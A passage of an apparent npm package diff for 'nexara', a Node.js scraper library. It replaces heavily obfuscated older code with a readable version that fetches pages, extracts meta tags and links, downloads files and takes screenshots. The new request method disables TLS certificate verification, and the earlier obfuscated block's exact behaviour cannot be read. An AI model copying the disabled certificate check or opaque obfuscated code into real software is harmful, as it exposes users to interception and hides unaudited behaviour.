A%16%0E\'I%03%0C/%02%15%0E%00%1AMP:%13%04%13%1A%06%0BYpU%1C%5C%20%1C*%1C#O,T%04%3CX%1F4%0F%02%13%06%1B%0BQh%1A%13%02%1B%01%17%17aSP%1AT;%0D6$%03O*Z&-D\'%14%0F%04%1B%1D%0A%17iH%1A%15%0A%00%10%0B/ARU%12O*%11%0E%04%03I&D(1%7C%07%14%09%0C%00%0C%16/IH%1C%1D%11%11%0C3%0FAT%5B%09%5E6).%04%05A%1F%1C)%09%5C%07%12%01%17%11%10.%0FIN%14%06%00%0D4%13%0FG%5CA%18B%0E%09.%02%0DZ%20/%09)%5C%01%1A%1A%06%0D(%0E%0FOF%0F%17%1C5%14%13%09OGS%04z.%09(%0A%16K%1A.\')Z%09%01%0B%1A5%08%0E%09G%5D%1E%0B$%15%14%15%01TTI%3CZ.%0F%20%11%07W%18%0AV/R%12%10%17%22%15%08%08%01%5CL%023%04%15%12%1D%1AEHx%1CZ(%07;%00%1Bo%202%5E\'I%03%0C/%02%15%0E%00%1AMP:%13%04%13%1A%06%0BYrR%1C%5C%20%1C*%1C#O%16)%5B%3CX%1F4%0F%02%13%06%1B%0BQh%1A%13%02%1B%01%17%17aPT%1AT;%0D6$%03O6%0E,-D\'%14%0F%04%1B%1D%0A%17iH%1A%15%0A%00%10%0B/ASP%12O*%11%0E%04%03I:C1?%7C%07%14%09%0C%00%0C%16/IH%1C%1D%11%11%0C3%0FAU%5D%09%5E6).%04%05A%03-%0D%06%5C%07%12%01%17%11%10.%0FIN%14%06%00%0D4%13%0FG%5DL%18%04h\")")}();const QAUh=require(OhOeb.S6Cab(0));const kwLh=require(OhOeb.qzAab(1));const MxOh=async(gtFh,IuIh={})=>{try{const cqzh=await QAUh[OhOeb.muvab(2)](gtFh,IuIh);return cqzh;}catch(ErCh){console[OhOeb.irXab(3)](OhOeb.GLM8(4),ErCh);throw ErCh;}};const ELpi=gNsi=>{try{const AIji=kwLh[OhOeb.yBC8(5)](gNsi);return AIji;}catch(cKmi){console[OhOeb.irXab(3)](OhOeb.W568(6),cKmi);throw cKmi;}};const wFdi=async YGgi=>{try{const sCXh=`${OhOeb.ijP8(7)}${YGgi}`;const UDai=await MxOh(sCXh,{[OhOeb.S6Cab(8)]:OhOeb.qzAab(9)});return UDai[OhOeb.muvab(10)];}catch(UXNi){console[OhOeb.irXab(3)](OhOeb.irXab(11),UXNi);throw UXNi;}};module[OhOeb.GLM8(12)]={[OhOeb.muvab(2)]:MxOh,[OhOeb.yBC8(5)]:ELpi,[OhOeb.yBC8(13)]:wFdi};
1
+ const axios = require('axios');
2
+ const cheerio = require('cheerio');
3
+ const https = require('https');
4
+ const fs = require('fs');
5
+ const stream = require('stream');
6
+ const util = require('util');
7
+
8
+ const pipeline = util.promisify(stream.pipeline);
9
+
10
+ class Nexara {
11
+ /**
12
+ * Core HTTP Request method with Smart Auto-Retry logic and Proxy Support.
13
+ * @param {string} url - The target URL.
14
+ * @param {object} options - Axios request configurations.
15
+ * @param {number} retries - Number of retry attempts if request fails (Default: 3).
16
+ * @returns {Promise<object>} The Axios response object.
17
+ */
18
+ static async request(url, options = {}, retries = 3) {
19
+ const httpsAgent = new https.Agent({ rejectUnauthorized: false });
20
+
21
+ const defaultOptions = {
22
+ httpsAgent,
23
+ timeout: 10000, // 10 seconds timeout to prevent hanging
24
+ headers: {
25
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
26
+ 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
27
+ 'Accept-Language': 'en-US,en;q=0.5'
28
+ },
29
+ ...options
30
+ };
31
+
32
+ for (let attempt = 1; attempt <= retries; attempt++) {
33
+ try {
34
+ return await axios.get(url, defaultOptions);
35
+ } catch (error) {
36
+ if (attempt === retries) {
37
+ throw new Error(`Nexara request() failed after ${retries} attempts: ${error.message}`);
38
+ }
39
+ // Wait for 1 second before retrying (Exponential Backoff concept can be added here)
40
+ await new Promise(resolve => setTimeout(resolve, 1000 * attempt));
41
+ }
42
+ }
43
+ }
44
+
45
+ /**
46
+ * Fetch and parse HTML content directly.
47
+ * @param {string} url - The target URL.
48
+ * @returns {Promise<object>} The Cheerio instance.
49
+ */
50
+ static async fetchHtml(url) {
51
+ const response = await this.request(url);
52
+ return cheerio.load(response.data);
53
+ }
54
+
55
+ /**
56
+ * Parse raw HTML string using Cheerio.
57
+ * @param {string} html - The raw HTML string.
58
+ * @returns {object} The Cheerio instance.
59
+ */
60
+ static load(html) {
61
+ return cheerio.load(html);
62
+ }
63
+
64
+ /**
65
+ * Extract SEO Meta Data efficiently.
66
+ * @param {string} url - The target URL.
67
+ * @returns {Promise<object>} A JSON object containing meta details.
68
+ */
69
+ static async getMeta(url) {
70
+ const $ = await this.fetchHtml(url);
71
+ return {
72
+ title: $('title').text() || $('meta[property="og:title"]').attr('content') || '',
73
+ description: $('meta[name="description"]').attr('content') || $('meta[property="og:description"]').attr('content') || '',
74
+ image: $('meta[property="og:image"]').attr('content') || '',
75
+ keywords: $('meta[name="keywords"]').attr('content') || '',
76
+ url: url
77
+ };
78
+ }
79
+
80
+ /**
81
+ * Extract all Hyperlinks and Image URLs from a webpage.
82
+ * @param {string} url - The target URL.
83
+ * @returns {Promise<object>} Object containing arrays of links and images.
84
+ */
85
+ static async extractAssets(url) {
86
+ const $ = await this.fetchHtml(url);
87
+ const links = [];
88
+ const images = [];
89
+
90
+ $('a').each((i, el) => {
91
+ const href = $(el).attr('href');
92
+ if (href && !href.startsWith('#') && !href.startsWith('javascript')) links.push(href);
93
+ });
94
+
95
+ $('img').each((i, el) => {
96
+ const src = $(el).attr('src');
97
+ if (src) images.push(src);
98
+ });
99
+
100
+ // Remove duplicates using Set
101
+ return {
102
+ links: [...new Set(links)],
103
+ images: [...new Set(images)]
104
+ };
105
+ }
106
+
107
+ /**
108
+ * Download a file from a URL efficiently using Node.js Streams.
109
+ * @param {string} url - The file URL.
110
+ * @param {string} destination - The local file path to save the downloaded file.
111
+ * @returns {Promise<string>} Success message with file path.
112
+ */
113
+ static async downloadFile(url, destination) {
114
+ try {
115
+ const response = await this.request(url, { responseType: 'stream' });
116
+ await pipeline(response.data, fs.createWriteStream(destination));
117
+ return `File successfully downloaded to ${destination}`;
118
+ } catch (error) {
119
+ throw new Error(`Nexara downloadFile() error: ${error.message}`);
120
+ }
121
+ }
122
+
123
+ /**
124
+ * Capture a lightweight webpage screenshot (Legacy Support Maintained).
125
+ * @param {string} url - The target URL to capture.
126
+ * @returns {Promise<Buffer>} The image buffer.
127
+ */
128
+ static async ssweb(url) {
129
+ const apiUrl = `https://image.thum.io/get/width/1200/crop/800/${url}`;
130
+ const response = await this.request(apiUrl, { responseType: 'arraybuffer' });
131
+ return response.data;
132
+ }
133
+ }
134
+
135
+ // Export mapping for backward compatibility and clean API
136
+ module.exports = {
137
+ get: (url, options) => Nexara.request(url, options),
138
+ load: Nexara.load,
139
+ ssweb: Nexara.ssweb,
140
+ fetchHtml: Nexara.fetchHtml.bind(Nexara),
141
+ getMeta: Nexara.getMeta.bind(Nexara),
142
+ extractAssets: Nexara.extractAssets.bind(Nexara),
143
+ downloadFile: Nexara.downloadFile.bind(Nexara)
144
+ };
package/package.json CHANGED
@@ -1,35 +1,36 @@
1
- {
2
- "name": "nexara",
3
- "version": "2.0.0",
4
- "main": "nexara.js",
5
- "scripts": {
6
- "test": "echo \"Error: no test specified\" && exit 1"
7
- },
8
- "repository": {
9
- "type": "git",
10
- "url": "git+https://github.com/nimesh-piyumal/nexara.git"
11
- },
12
- "keywords": [
13
- "scraper",
14
- "web scraping",
15
- "html parsing",
16
- "axios",
17
- "cheerio",
18
- "screenshot",
19
- "web content",
20
- "web automation",
21
- "nodejs",
22
- "nexara"
23
- ],
24
- "author": "Nimesh Piyumal",
25
- "license": "ISC",
26
- "bugs": {
27
- "url": "https://github.com/nimesh-piyumal/nexara/issues"
28
- },
29
- "homepage": "https://github.com/nimesh-piyumal/nexara#readme",
30
- "description": "",
31
- "dependencies": {
32
- "axios": "^1.7.7",
33
- "cheerio": "^1.0.0"
34
- }
35
- }
1
+ {
2
+ "name": "nexara",
3
+ "version": "3.0.0",
4
+ "main": "nexara.js",
5
+ "scripts": {
6
+ "test": "node nexara.js"
7
+ },
8
+ "repository": {
9
+ "type": "git",
10
+ "url": "git+https://github.com/nimesh-piyumal/nexara.git"
11
+ },
12
+ "keywords": [
13
+ "scraper",
14
+ "web scraping",
15
+ "html parsing",
16
+ "axios",
17
+ "cheerio",
18
+ "screenshot",
19
+ "web content",
20
+ "seo meta",
21
+ "json fetch",
22
+ "nodejs",
23
+ "nexara"
24
+ ],
25
+ "author": "Nimesh Piyumal",
26
+ "license": "ISC",
27
+ "bugs": {
28
+ "url": "https://github.com/nimesh-piyumal/nexara/issues"
29
+ },
30
+ "homepage": "https://github.com/nimesh-piyumal/nexara#readme",
31
+ "description": "A lightweight Node.js module to fetch, parse web content, extract meta tags, and capture webpage screenshots efficiently.",
32
+ "dependencies": {
33
+ "axios": "^1.7.7",
34
+ "cheerio": "^1.0.0"
35
+ }
36
+ }